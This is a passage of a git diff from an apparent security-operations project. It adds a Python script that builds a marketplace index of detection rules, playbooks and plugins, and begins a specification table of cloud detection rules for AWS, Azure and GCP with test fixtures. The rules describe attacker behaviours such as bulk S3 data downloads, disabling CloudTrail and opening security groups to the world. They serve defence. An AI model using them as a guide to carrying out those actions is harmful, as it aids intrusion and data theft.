rules.+DETECTION_SKIP_DIRS = {"fixtures", "sigma-imports", "community"}++MITRE_RE = re.compile(r"mitre\.attack\.(t\d{4}(?:\.\d{3})?)", re.IGNORECASE)+MITRE_LOOSE_RE = re.compile(r"mitre\.(t\d{4}(?:\.\d{3})?)", re.IGNORECASE)+++def extract_mitre(tags: Iterable[str]) -> list[str]:+ """Extract uppercase MITRE technique IDs from a tag list.++ Accepts both the strict ``mitre.attack.tXXXX[.YYY]`` form and the+ looser ``mitre.tXXXX[.YYY]`` form that some playbooks use.+ """+ out: list[str] = []+ for tag in tags or []:+ if not isinstance(tag, str):+ continue+ m = MITRE_RE.search(tag) or MITRE_LOOSE_RE.search(tag)+ if m:+ tid = m.group(1).upper()+ if tid not in out:+ out.append(tid)+ return out+++def detection_files() -> list[Path]:+ files: list[Path] = []+ if not DETECTIONS_DIR.exists():+ return files+ for child in sorted(DETECTIONS_DIR.iterdir()):+ if not child.is_dir() or child.name in DETECTION_SKIP_DIRS:+ continue+ for f in sorted(child.rglob("*.yaml")):+ files.append(f)+ return files+++def playbook_files() -> list[Path]:+ if not PLAYBOOKS_PACKS_DIR.exists():+ return []+ return sorted(PLAYBOOKS_PACKS_DIR.rglob("*.playbook.json"))+++def plugin_manifests() -> list[Path]:+ if not PLUGINS_DIR.exists():+ return []+ out: list[Path] = []+ for child in sorted(PLUGINS_DIR.iterdir()):+ if not child.is_dir() or child.name == "community":+ continue+ manifest = child / "plugin.yaml"+ if manifest.exists():+ out.append(manifest)+ return out+++def community_detection_files() -> list[Path]:+ if not COMMUNITY_DETECTIONS_DIR.exists():+ return []+ return sorted(COMMUNITY_DETECTIONS_DIR.rglob("*.yaml"))+++def community_playbook_files() -> list[Path]:+ if not COMMUNITY_PLAYBOOKS_DIR.exists():+ return []+ return sorted(COMMUNITY_PLAYBOOKS_DIR.rglob("*.playbook.json"))+++def community_plugin_manifests() -> list[Path]:+ if not COMMUNITY_PLUGINS_DIR.exists():+ return []+ out: list[Path] = []+ for child in sorted(COMMUNITY_PLUGINS_DIR.iterdir()):+ if not child.is_dir():+ continue+ manifest = child / "plugin.yaml"+ if manifest.exists():+ out.append(manifest)+ return out+++def build_detection_item(path: Path, *, source: str) -> dict[str, Any] | None:+ try:+ data = yaml.safe_load(path.read_text(encoding="utf-8"))+ except Exception as exc:+ print(f"WARN: could not parse {path}: {exc}", file=sys.stderr)+ return None+ if not isinstance(data, dict):+ return None+ tags = list(data.get("tags") or [])+ mitre = extract_mitre(tags)+ category = data.get("category") or path.parent.name+ return {+ "id": data.get("id") or path.stem,+ "type": "detection",+ "name": data.get("name") or data.get("id") or path.stem,+ "description": (data.get("description") or "").strip(),+ "version": data.get("version", "1.0.0"),+ "author": data.get("author", "AiSOC"),+ "tags": [t for t in tags if not t.lower().startswith("mitre.")],+ "severity": data.get("severity"),+ "category": category,+ "mitre_techniques": mitre,+ "log_source": (data.get("log_source") or {}).get("product"),+ "playbook": data.get("playbook"),+ "verified": source == "core",+ "source": source,+ "path": str(path.relative_to(REPO_ROOT)),+ }+++def build_playbook_item(path: Path, *, source: str) -> dict[str, Any] | None:+ try:+ data = json.loads(path.read_text(encoding="utf-8"))+ except Exception as exc:+ print(f"WARN: could not parse {path}: {exc}", file=sys.stderr)+ return None+ if not isinstance(data, dict):+ return None+ tags = list(data.get("tags") or [])+ mitre = extract_mitre(tags)+ trigger_block = data.get("trigger") or {}+ trigger = trigger_block.get("on") if isinstance(trigger_block, dict) else None+ severities = (+ trigger_block.get("severity") if isinstance(trigger_block, dict) else None+ )+ severity: str | None = None+ if isinstance(severities, list) and severities:+ # Pick the highest declared severity for display.+ order = {"critical": 4, "high": 3, "medium": 2, "low": 1}+ severity = max(+ severities,+ key=lambda s: order.get(str(s).lower(), 0),+ )+ return {+ "id": data.get("id") or path.stem,+ "type": "playbook",+ "name": data.get("name") or path.stem,+ "description": (data.get("description") or "").strip(),+ "version": data.get("version", "1.0.0"),+ "author": data.get("author", "AiSOC"),+ "tags": [t for t in tags if not t.lower().startswith("mitre.")],+ "severity": severity,+ "trigger": trigger,+ "steps": len(data.get("steps") or []),+ "category": path.parent.name,+ "mitre_techniques": mitre,+ "verified": source == "core",+ "source": source,+ "path": str(path.relative_to(REPO_ROOT)),+ }+++def build_plugin_item(path: Path, *, source: str) -> dict[str, Any] | None:+ try:+ data = yaml.safe_load(path.read_text(encoding="utf-8"))+ except Exception as exc:+ print(f"WARN: could not parse {path}: {exc}", file=sys.stderr)+ return None+ if not isinstance(data, dict):+ return None+ tags = list(data.get("tags") or [])+ plugin_dir = path.parent+ has_python = (plugin_dir / "plugin.py").exists()+ has_go = (plugin_dir / "go" / "main.go").exists()+ sdks: list[str] = []+ if has_python:+ sdks.append("python")+ if has_go:+ sdks.append("go")+ return {+ "id": data.get("id") or plugin_dir.name,+ "type": "plugin",+ "name": data.get("name") or plugin_dir.name,+ "description": (data.get("description") or "").strip(),+ "version": data.get("version", "1.0.0"),+ "author": data.get("author", "AiSOC"),+ "tags": tags,+ "plugin_type": data.get("plugin_type"),+ "license": data.get("license"),+ "homepage": data.get("homepage"),+ "min_aisoc_version": data.get("min_aisoc_version"),+ "sdks": sdks,+ "mitre_techniques": [],+ "verified": source == "core",+ "source": source,+ "path": str(path.relative_to(REPO_ROOT)),+ }+++def collect_items() -> list[dict[str, Any]]:+ items: list[dict[str, Any]] = []+ for f in detection_files():+ item = build_detection_item(f, source="core")+ if item:+ items.append(item)+ for f in community_detection_files():+ item = build_detection_item(f, source="community")+ if item:+ items.append(item)+ for f in playbook_files():+ item = build_playbook_item(f, source="core")+ if item:+ items.append(item)+ for f in community_playbook_files():+ item = build_playbook_item(f, source="community")+ if item:+ items.append(item)+ for f in plugin_manifests():+ item = build_plugin_item(f, source="core")+ if item:+ items.append(item)+ for f in community_plugin_manifests():+ item = build_plugin_item(f, source="community")+ if item:+ items.append(item)+ return items+++def categories_block(items: list[dict[str, Any]]) -> list[dict[str, Any]]:+ return [+ {+ "id": "playbooks",+ "label": "Response Playbooks",+ "description": (+ "Automated incident-response workflows triggered by "+ "alerts or manual invocation."+ ),+ },+ {+ "id": "detections",+ "label": "Detection Rules",+ "description": (+ "Curated YAML rules for identifying malicious or "+ "suspicious activity across cloud, identity, endpoint, "+ "network, application, and data-exfil categories."+ ),+ },+ {+ "id": "plugins",+ "label": "Plugins",+ "description": (+ "Reference connectors, enrichers, actions, and "+ "widgets shipped with both Python and Go SDK "+ "implementations for cross-language parity."+ ),+ },+ ]+++def coverage_block(items: list[dict[str, Any]]) -> dict[str, Any]:+ """Compute MITRE ATT&CK coverage across detections + playbooks."""+ techniques: dict[str, int] = {}+ for item in items:+ for tid in item.get("mitre_techniques") or []:+ techniques[tid] = techniques.get(tid, 0) + 1+ return {+ "techniques": dict(sorted(techniques.items())),+ "unique_techniques": len(techniques),+ "total_with_mitre": sum(+ 1 for i in items if i.get("mitre_techniques")+ ),+ }+++def build_index() -> dict[str, Any]:+ items = collect_items()+ items.sort(key=lambda i: (i["type"], i.get("id", "")))+ return {+ "$schema": "https://aisoc.dev/schemas/marketplace/v1.json",+ "version": "1.0.0",+ "generated": dt.datetime.now(dt.timezone.utc)+ .replace(microsecond=0)+ .isoformat()+ .replace("+00:00", "Z"),+ "categories": categories_block(items),+ "stats": {+ "total": len(items),+ "playbooks": sum(1 for i in items if i["type"] == "playbook"),+ "detections": sum(1 for i in items if i["type"] == "detection"),+ "plugins": sum(1 for i in items if i["type"] == "plugin"),+ "verified": sum(1 for i in items if i.get("verified")),+ "community": sum(1 for i in items if i.get("source") == "community"),+ },+ "mitre_coverage": coverage_block(items),+ "items": items,+ }+++def write_index(index: dict[str, Any]) -> None:+ payload = json.dumps(index, indent=2, sort_keys=False) + "\n"+ OUTPUT_PRIMARY.parent.mkdir(parents=True, exist_ok=True)+ OUTPUT_PUBLIC.parent.mkdir(parents=True, exist_ok=True)+ OUTPUT_PRIMARY.write_text(payload, encoding="utf-8")+ OUTPUT_PUBLIC.write_text(payload, encoding="utf-8")+++def main() -> int:+ parser = argparse.ArgumentParser(description=__doc__)+ parser.add_argument(+ "--check",+ action="store_true",+ help="Exit non-zero if the on-disk index does not match the build.",+ )+ parser.add_argument(+ "--print",+ dest="print_only",+ action="store_true",+ help="Print built index to stdout instead of writing files.",+ )+ args = parser.parse_args()++ index = build_index()+ serialised = json.dumps(index, indent=2, sort_keys=False) + "\n"++ if args.print_only:+ sys.stdout.write(serialised)+ return 0++ if args.check:+ existing_primary = (+ OUTPUT_PRIMARY.read_text(encoding="utf-8")+ if OUTPUT_PRIMARY.exists()+ else ""+ )+ existing_public = (+ OUTPUT_PUBLIC.read_text(encoding="utf-8")+ if OUTPUT_PUBLIC.exists()+ else ""+ )++ # Compare ignoring `generated` timestamp.+ def _strip_generated(s: str) -> str:+ if not s:+ return s+ try:+ obj = json.loads(s)+ except Exception:+ return s+ obj.pop("generated", None)+ return json.dumps(obj, indent=2, sort_keys=False) + "\n"++ rebuilt_no_ts = _strip_generated(serialised)+ if (+ _strip_generated(existing_primary) != rebuilt_no_ts+ or _strip_generated(existing_public) != rebuilt_no_ts+ ):+ print(+ "marketplace/index.json is stale. Run: "+ "pnpm marketplace:build",+ file=sys.stderr,+ )+ return 1+ print(+ f"marketplace/index.json is up to date "+ f"({index['stats']['total']} items)."+ )+ return 0++ write_index(index)+ print(+ f"Wrote marketplace index: total={index['stats']['total']} "+ f"detections={index['stats']['detections']} "+ f"playbooks={index['stats']['playbooks']} "+ f"plugins={index['stats']['plugins']} "+ f"mitre_techniques={index['mitre_coverage']['unique_techniques']}"+ )+ return 0+++if __name__ == "__main__":+ raise SystemExit(main())diff --git a/scripts/detection_specs.py b/scripts/detection_specs.pynew file mode 100644index 000000000..9c7680f43--- /dev/null+++ b/scripts/detection_specs.py@@ -0,0 +1,1098 @@+"""+AiSOC Detection Pack v1 - Rule Specifications+==============================================++Single source of truth for the 200-rule curated detection pack.++Schema for each rule entry:+ (slug, name, severity, mitre[], log_source, condition, false_positives[], playbook?, positive_fixture, negative_fixture)++Where:+ positive_fixture = dict that the rule's condition should match+ negative_fixture = dict structurally similar but specifically tuned to NOT match++The generator script (`scripts/generate_detections.py`) walks this table to+emit YAML rules + fixtures. Validator (`scripts/validate_detections.py`)+runs fixture-replay against this same table to ensure positive matches and+negative doesn't.++Distribution per plan:+ cloud: 40+ identity: 40+ endpoint: 40+ network: 30+ application: 30+ data-exfil: 20+ -------------------+ Total: 200+"""++from __future__ import annotations++# fmt: off++# =============================================================================+# CLOUD (40)+# =============================================================================+CLOUD: list[dict] = [+ # AWS (15)+ {+ "slug": "aws-root-account-login",+ "name": "AWS Root Account Console Login",+ "description": "Detects any console sign-in event using the AWS root account. Root account usage outside of initial setup or emergency break-glass scenarios should trigger immediate investigation. Best practice requires MFA on the root account.",+ "severity": "critical",+ "mitre": ["t1078.004"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "user_type", "error_code"},+ "match_when": {"event_name": "ConsoleLogin", "user_type": "Root", "error_code": None},+ "fp": ["Break-glass emergency access (must be documented)", "Initial account setup (one-time)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"event_name": "ConsoleLogin", "user_type": "Root", "error_code": None, "src_ip": "203.0.113.7"},+ "negative": {"event_name": "ConsoleLogin", "user_type": "IAMUser", "error_code": None, "src_ip": "203.0.113.7"},+ },+ {+ "slug": "aws-iam-enumeration",+ "name": "AWS IAM Enumeration Burst",+ "severity": "high",+ "mitre": ["t1087.004", "t1069.003"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_source", "event_name_count", "time_window_minutes"},+ "match_when": {"event_source": "iam.amazonaws.com", "event_name_count_gt": 25, "time_window_minutes_lt": 5},+ "fp": ["Compliance scanners (AWS Config, Prowler, CloudCustodian)", "IaC tools running plan/apply"],+ "playbook": "tpl-cloud-recon",+ "positive": {"event_source": "iam.amazonaws.com", "event_name_count": 60, "time_window_minutes": 3, "user_arn": "arn:aws:iam::111:user/contractor"},+ "negative": {"event_source": "iam.amazonaws.com", "event_name_count": 4, "time_window_minutes": 5, "user_arn": "arn:aws:iam::111:user/admin"},+ },+ {+ "slug": "aws-s3-public-bucket",+ "name": "AWS S3 Bucket Made Public",+ "description": "Detects when an S3 bucket ACL or bucket policy is modified to allow public read or public read-write access, which can lead to data exposure or unauthorised data exfiltration.",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "request_acl", "request_policy"},+ "match_when": {"event_name_in": ["PutBucketAcl", "PutBucketPolicy"], "public_grant": True},+ "fp": ["Static website hosting bucket (must be tagged purpose=public)", "Open data publication"],+ "playbook": "tpl-data-exposure",+ "positive": {"event_name": "PutBucketAcl", "public_grant": True, "bucket": "customer-pii"},+ "negative": {"event_name": "PutBucketAcl", "public_grant": False, "bucket": "customer-pii"},+ },+ {+ "slug": "aws-s3-bucket-deletion",+ "name": "AWS S3 Bucket Deletion",+ "severity": "high",+ "mitre": ["t1485"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name"},+ "match_when": {"event_name": "DeleteBucket"},+ "fp": ["Automated cleanup of ephemeral testing buckets", "Decommission via change-control ticket"],+ "playbook": "tpl-data-destruction",+ "positive": {"event_name": "DeleteBucket", "bucket": "prod-backups", "user_arn": "arn:aws:iam::111:user/contractor"},+ "negative": {"event_name": "DeleteObject", "bucket": "prod-backups", "user_arn": "arn:aws:iam::111:user/admin"},+ },+ {+ "slug": "aws-ec2-launch-foreign-region",+ "name": "AWS EC2 Instance Launched in Unauthorized Region",+ "severity": "medium",+ "mitre": ["t1578.002"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "aws_region"},+ "match_when": {"event_name": "RunInstances", "aws_region_not_in": ["us-east-1", "us-west-2", "eu-west-1"]},+ "fp": ["DR/failover testing (announced)", "Approved expansion to new region (change ticket)"],+ "playbook": "tpl-cloud-anomaly",+ "positive": {"event_name": "RunInstances", "aws_region": "ap-northeast-3"},+ "negative": {"event_name": "RunInstances", "aws_region": "us-east-1"},+ },+ {+ "slug": "aws-security-group-open-world",+ "name": "AWS Security Group Opened to 0.0.0.0/0",+ "severity": "high",+ "mitre": ["t1190", "t1133"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "ip_range", "port"},+ "match_when": {"event_name": "AuthorizeSecurityGroupIngress", "ip_range": "0.0.0.0/0", "port_in": [22, 3389, 3306, 5432, 1433, 6379]},+ "fp": ["Public load balancers (must be tagged role=public-lb)", "WAF-protected origins"],+ "playbook": "tpl-cloud-misconfig",+ "positive": {"event_name": "AuthorizeSecurityGroupIngress", "ip_range": "0.0.0.0/0", "port": 22, "sg_id": "sg-prod-db"},+ "negative": {"event_name": "AuthorizeSecurityGroupIngress", "ip_range": "10.0.0.0/8", "port": 22, "sg_id": "sg-prod-db"},+ },+ {+ "slug": "aws-iam-policy-permissive",+ "name": "AWS IAM Policy with Wildcard Action",+ "severity": "high",+ "mitre": ["t1078.004", "t1098.001"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "policy_action", "policy_resource"},+ "match_when": {"event_name_in": ["PutUserPolicy", "PutRolePolicy", "AttachUserPolicy"], "policy_action": "*", "policy_resource": "*"},+ "fp": ["Bootstrap admin role (one-time, change ticketed)", "Break-glass policy"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"event_name": "PutRolePolicy", "policy_action": "*", "policy_resource": "*", "role": "deploy-bot"},+ "negative": {"event_name": "PutRolePolicy", "policy_action": "s3:GetObject", "policy_resource": "arn:aws:s3:::reports/*", "role": "deploy-bot"},+ },+ {+ "slug": "aws-kms-key-disable",+ "name": "AWS KMS Key Disabled or Scheduled for Deletion",+ "severity": "critical",+ "mitre": ["t1485", "t1486"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name"},+ "match_when": {"event_name_in": ["DisableKey", "ScheduleKeyDeletion"]},+ "fp": ["Decommission of expired key material (must reference change ticket)"],+ "playbook": "tpl-data-destruction",+ "positive": {"event_name": "ScheduleKeyDeletion", "key_id": "alias/prod-encrypt", "user_arn": "arn:aws:iam::111:user/intern"},+ "negative": {"event_name": "EnableKey", "key_id": "alias/prod-encrypt", "user_arn": "arn:aws:iam::111:user/admin"},+ },+ {+ "slug": "aws-cloudtrail-disabled",+ "name": "AWS CloudTrail Logging Disabled",+ "severity": "critical",+ "mitre": ["t1562.008"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name"},+ "match_when": {"event_name_in": ["StopLogging", "DeleteTrail", "UpdateTrail"]},+ "fp": ["Log-trail consolidation during account merge (change ticketed)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_name": "StopLogging", "trail_name": "org-default", "user_arn": "arn:aws:iam::111:user/contractor"},+ "negative": {"event_name": "StartLogging", "trail_name": "org-default", "user_arn": "arn:aws:iam::111:user/admin"},+ },+ {+ "slug": "aws-lambda-permissive-trigger",+ "name": "AWS Lambda Function with Public Invoke Permission",+ "severity": "medium",+ "mitre": ["t1190"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "principal"},+ "match_when": {"event_name": "AddPermission", "principal": "*"},+ "fp": ["Public webhook endpoint (must have purpose=public-webhook tag)"],+ "playbook": "tpl-cloud-misconfig",+ "positive": {"event_name": "AddPermission", "principal": "*", "function": "process-customer-pii"},+ "negative": {"event_name": "AddPermission", "principal": "arn:aws:iam::222:role/partner", "function": "process-customer-pii"},+ },+ {+ "slug": "aws-vpc-flow-logs-disabled",+ "name": "AWS VPC Flow Logs Disabled",+ "severity": "high",+ "mitre": ["t1562.008"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name"},+ "match_when": {"event_name": "DeleteFlowLogs"},+ "fp": ["VPC decommission (change ticketed, vpc-state=deleting tag)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"event_name": "DeleteFlowLogs", "vpc_id": "vpc-prod"},+ "negative": {"event_name": "CreateFlowLogs", "vpc_id": "vpc-prod"},+ },+ {+ "slug": "aws-rds-publicly-accessible",+ "name": "AWS RDS Instance Set Publicly Accessible",+ "severity": "high",+ "mitre": ["t1190", "t1530"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "publicly_accessible"},+ "match_when": {"event_name_in": ["CreateDBInstance", "ModifyDBInstance"], "publicly_accessible": True},+ "fp": ["Test/sandbox RDS bound to bastion subnet only (must not happen)"],+ "playbook": "tpl-data-exposure",+ "positive": {"event_name": "ModifyDBInstance", "publicly_accessible": True, "db_id": "prod-pii"},+ "negative": {"event_name": "ModifyDBInstance", "publicly_accessible": False, "db_id": "prod-pii"},+ },+ {+ "slug": "aws-ebs-snapshot-public",+ "name": "AWS EBS Snapshot Made Public",+ "severity": "critical",+ "mitre": ["t1530"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "createvolumepermission"},+ "match_when": {"event_name": "ModifySnapshotAttribute", "createvolumepermission": "all"},+ "fp": ["Public AMI publication for community open-source projects (must be tagged purpose=public-ami)"],+ "playbook": "tpl-data-exposure",+ "positive": {"event_name": "ModifySnapshotAttribute", "createvolumepermission": "all", "snapshot_id": "snap-prod-pii"},+ "negative": {"event_name": "ModifySnapshotAttribute", "createvolumepermission": "self", "snapshot_id": "snap-prod-pii"},+ },+ {+ "slug": "aws-cross-account-assumerole",+ "name": "AWS AssumeRole from Untrusted External Account",+ "severity": "high",+ "mitre": ["t1078.004", "t1199"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "user_arn"},+ "match_when": {"event_name": "AssumeRole", "user_arn_external_account": True, "external_account_in_allowlist": False},+ "fp": ["Trusted partner accounts (must be in allowlist)", "Org-internal cross-account scripts"],+ "playbook": "tpl-cloud-anomaly",+ "positive": {"event_name": "AssumeRole", "user_arn": "arn:aws:sts::999999999999:assumed-role/external", "user_arn_external_account": True, "external_account_in_allowlist": False},+ "negative": {"event_name": "AssumeRole", "user_arn": "arn:aws:sts::111111111111:assumed-role/internal", "user_arn_external_account": False},+ },+ {+ "slug": "aws-s3-mass-getobject",+ "name": "AWS S3 GetObject Volume Anomaly per Principal",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "aws", "service": "cloudtrail"},+ "fields": {"event_name", "object_count_per_principal", "time_window_minutes"},+ "match_when": {"event_name": "GetObject", "object_count_per_principal_gt": 5000, "time_window_minutes_lt": 30},+ "fp": ["Bulk-export jobs (must use tagged batch role)", "Backup tooling"],+ "playbook": "tpl-data-exfil",+ "positive": {"event_name": "GetObject", "object_count_per_principal": 12000, "time_window_minutes": 12, "user_arn": "arn:aws:iam::111:user/intern"},+ "negative": {"event_name": "GetObject", "object_count_per_principal": 35, "time_window_minutes": 30, "user_arn": "arn:aws:iam::111:user/intern"},+ },+ # Azure (10)+ {+ "slug": "azure-ad-role-owner-assignment",+ "name": "Azure AD Owner/Global-Admin Role Assignment",+ "severity": "critical",+ "mitre": ["t1098.003"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name", "role_name"},+ "match_when": {"operation_name": "AddMemberToRole", "role_name_in": ["Global Administrator", "Privileged Role Administrator", "Owner"]},+ "fp": ["Initial tenant bootstrap (must be ticketed)", "Break-glass account assignment"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"operation_name": "AddMemberToRole", "role_name": "Global Administrator", "target_user": "[email protected]"},+ "negative": {"operation_name": "AddMemberToRole", "role_name": "Reader", "target_user": "[email protected]"},+ },+ {+ "slug": "azure-ad-app-secret-added",+ "name": "Azure AD Application Credential Added",+ "severity": "high",+ "mitre": ["t1098.001"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name"},+ "match_when": {"operation_name": "Update application - Certificates and secrets management"},+ "fp": ["Application owner rotating credentials (must be tagged change ticketed)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"operation_name": "Update application - Certificates and secrets management", "app_id": "graph-reader-app"},+ "negative": {"operation_name": "Update application - Properties", "app_id": "graph-reader-app"},+ },+ {+ "slug": "azure-conditional-access-disabled",+ "name": "Azure AD Conditional Access Policy Disabled or Removed",+ "severity": "critical",+ "mitre": ["t1562.001"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name", "policy_state"},+ "match_when": {"operation_name_in": ["Update conditional access policy", "Delete conditional access policy"], "policy_state": "disabled"},+ "fp": ["Policy migration (must reference replacement policy)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"operation_name": "Update conditional access policy", "policy_state": "disabled", "policy_name": "MFA-required"},+ "negative": {"operation_name": "Update conditional access policy", "policy_state": "enabled", "policy_name": "MFA-required"},+ },+ {+ "slug": "azure-keyvault-key-deleted",+ "name": "Azure Key Vault Key Deleted",+ "severity": "high",+ "mitre": ["t1485"],+ "log_source": {"product": "azure", "service": "keyvault"},+ "fields": {"operation_name"},+ "match_when": {"operation_name_in": ["KeyDelete", "VaultDelete"]},+ "fp": ["Key rotation cleanup (paired with KeyCreate within 24h)"],+ "playbook": "tpl-data-destruction",+ "positive": {"operation_name": "KeyDelete", "key_name": "prod-encrypt", "principal": "[email protected]"},+ "negative": {"operation_name": "KeyGet", "key_name": "prod-encrypt", "principal": "[email protected]"},+ },+ {+ "slug": "azure-nsg-allow-all-inbound",+ "name": "Azure NSG Rule Allowing 0.0.0.0/0 Inbound",+ "severity": "high",+ "mitre": ["t1190"],+ "log_source": {"product": "azure", "service": "activity"},+ "fields": {"operation_name", "rule_source", "rule_destination_port"},+ "match_when": {"operation_name": "Microsoft.Network/networkSecurityGroups/securityRules/write", "rule_source": "*", "rule_destination_port_in": [22, 3389, 1433, 3306, 6379]},+ "fp": ["Public load balancer subnet (tag = role:public-lb)"],+ "playbook": "tpl-cloud-misconfig",+ "positive": {"operation_name": "Microsoft.Network/networkSecurityGroups/securityRules/write", "rule_source": "*", "rule_destination_port": 3389, "nsg": "prod-db"},+ "negative": {"operation_name": "Microsoft.Network/networkSecurityGroups/securityRules/write", "rule_source": "10.0.0.0/8", "rule_destination_port": 3389, "nsg": "prod-db"},+ },+ {+ "slug": "azure-storage-public-blob",+ "name": "Azure Storage Account Container Made Public",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "azure", "service": "activity"},+ "fields": {"operation_name", "public_access"},+ "match_when": {"operation_name": "Microsoft.Storage/storageAccounts/blobServices/containers/write", "public_access_in": ["blob", "container"]},+ "fp": ["Static website hosting (purpose=public tag required)"],+ "playbook": "tpl-data-exposure",+ "positive": {"operation_name": "Microsoft.Storage/storageAccounts/blobServices/containers/write", "public_access": "container", "container": "customer-data"},+ "negative": {"operation_name": "Microsoft.Storage/storageAccounts/blobServices/containers/write", "public_access": "none", "container": "customer-data"},+ },+ {+ "slug": "azure-ad-mfa-disabled-for-user",+ "name": "Azure AD MFA Disabled for User",+ "severity": "high",+ "mitre": ["t1556.006"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name"},+ "match_when": {"operation_name": "Disable Strong Authentication"},+ "fp": ["Account migration to passkey-only (purpose=passkey tag required)"],+ "playbook": "tpl-defense-evasion",+ "positive": {"operation_name": "Disable Strong Authentication", "target_user": "[email protected]"},+ "negative": {"operation_name": "Enable Strong Authentication", "target_user": "[email protected]"},+ },+ {+ "slug": "azure-app-registration-permissive-scope",+ "name": "Azure AD App Registration Granted Broad Graph Scope",+ "severity": "high",+ "mitre": ["t1098.001"],+ "log_source": {"product": "azure", "service": "azuread-audit"},+ "fields": {"operation_name", "scope"},+ "match_when": {"operation_name": "Add app role assignment to service principal", "scope_in": ["Mail.ReadWrite", "Files.ReadWrite.All", "Directory.ReadWrite.All", "User.ReadWrite.All"]},+ "fp": ["IT service-account onboarding (must be ticketed)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"operation_name": "Add app role assignment to service principal", "scope": "Directory.ReadWrite.All", "app": "thirdparty-import"},+ "negative": {"operation_name": "Add app role assignment to service principal", "scope": "User.Read", "app": "thirdparty-import"},+ },+ {+ "slug": "azure-login-anonymous-ip",+ "name": "Azure AD Login from Tor / Anonymous IP",+ "severity": "high",+ "mitre": ["t1078.004"],+ "log_source": {"product": "azure", "service": "azuread-signin"},+ "fields": {"risk_event_type"},+ "match_when": {"risk_event_type": "anonymizedIPAddress"},+ "fp": ["Researchers using Tor for testing (must be tagged research-account)"],+ "playbook": "tpl-account-compromise",+ "positive": {"risk_event_type": "anonymizedIPAddress", "user": "[email protected]", "src_ip": "185.220.101.5"},+ "negative": {"risk_event_type": "atypicalTravel", "user": "[email protected]", "src_ip": "98.97.96.95"},+ },+ {+ "slug": "azure-resource-mass-delete",+ "name": "Azure Resource Mass Deletion",+ "severity": "critical",+ "mitre": ["t1485"],+ "log_source": {"product": "azure", "service": "activity"},+ "fields": {"operation_name", "delete_count_per_principal", "time_window_minutes"},+ "match_when": {"operation_name_endswith": "/delete", "delete_count_per_principal_gt": 50, "time_window_minutes_lt": 15},+ "fp": ["Sandbox cleanup (must originate from automation principal)"],+ "playbook": "tpl-data-destruction",+ "positive": {"operation_name": "Microsoft.Storage/storageAccounts/delete", "delete_count_per_principal": 120, "time_window_minutes": 5, "principal": "[email protected]"},+ "negative": {"operation_name": "Microsoft.Storage/storageAccounts/delete", "delete_count_per_principal": 2, "time_window_minutes": 60, "principal": "[email protected]"},+ },+ # GCP (10)+ {+ "slug": "gcp-iam-primitive-role-grant",+ "name": "GCP IAM Primitive Role (Owner/Editor) Granted",+ "severity": "high",+ "mitre": ["t1078.004"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name", "role"},+ "match_when": {"method_name": "SetIamPolicy", "role_in": ["roles/owner", "roles/editor"]},+ "fp": ["Initial bootstrap (one-time, ticketed)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"method_name": "SetIamPolicy", "role": "roles/owner", "principal": "[email protected]", "project": "prod"},+ "negative": {"method_name": "SetIamPolicy", "role": "roles/storage.objectViewer", "principal": "[email protected]", "project": "prod"},+ },+ {+ "slug": "gcp-service-account-key-created",+ "name": "GCP Service Account Key Created",+ "severity": "high",+ "mitre": ["t1098.001"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name"},+ "match_when": {"method_name": "google.iam.admin.v1.CreateServiceAccountKey"},+ "fp": ["IaC tooling using key-pair auth (must be tagged purpose=iac)"],+ "playbook": "tpl-privilege-escalation",+ "positive": {"method_name": "google.iam.admin.v1.CreateServiceAccountKey", "sa_email": "[email protected]"},+ "negative": {"method_name": "google.iam.admin.v1.UpdateServiceAccount", "sa_email": "[email protected]"},+ },+ {+ "slug": "gcp-gcs-bucket-public",+ "name": "GCP GCS Bucket Set to Public",+ "severity": "high",+ "mitre": ["t1530"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name", "iam_member"},+ "match_when": {"method_name": "storage.setIamPermissions", "iam_member_in": ["allUsers", "allAuthenticatedUsers"]},+ "fp": ["Public website hosting (must be tagged purpose=public)"],+ "playbook": "tpl-data-exposure",+ "positive": {"method_name": "storage.setIamPermissions", "iam_member": "allUsers", "bucket": "customer-data"},+ "negative": {"method_name": "storage.setIamPermissions", "iam_member": "user:[email protected]", "bucket": "customer-data"},+ },+ {+ "slug": "gcp-firewall-rule-allow-all",+ "name": "GCP Firewall Rule Allowing 0.0.0.0/0 Inbound",+ "severity": "high",+ "mitre": ["t1190"],+ "log_source": {"product": "gcp", "service": "audit"},+ "fields": {"method_name", "source_range", "ports"},+ "match_when": {"method_name": "compute.firewalls.insert", "source_range": "0.0.0.0/0", "port_in": [22, 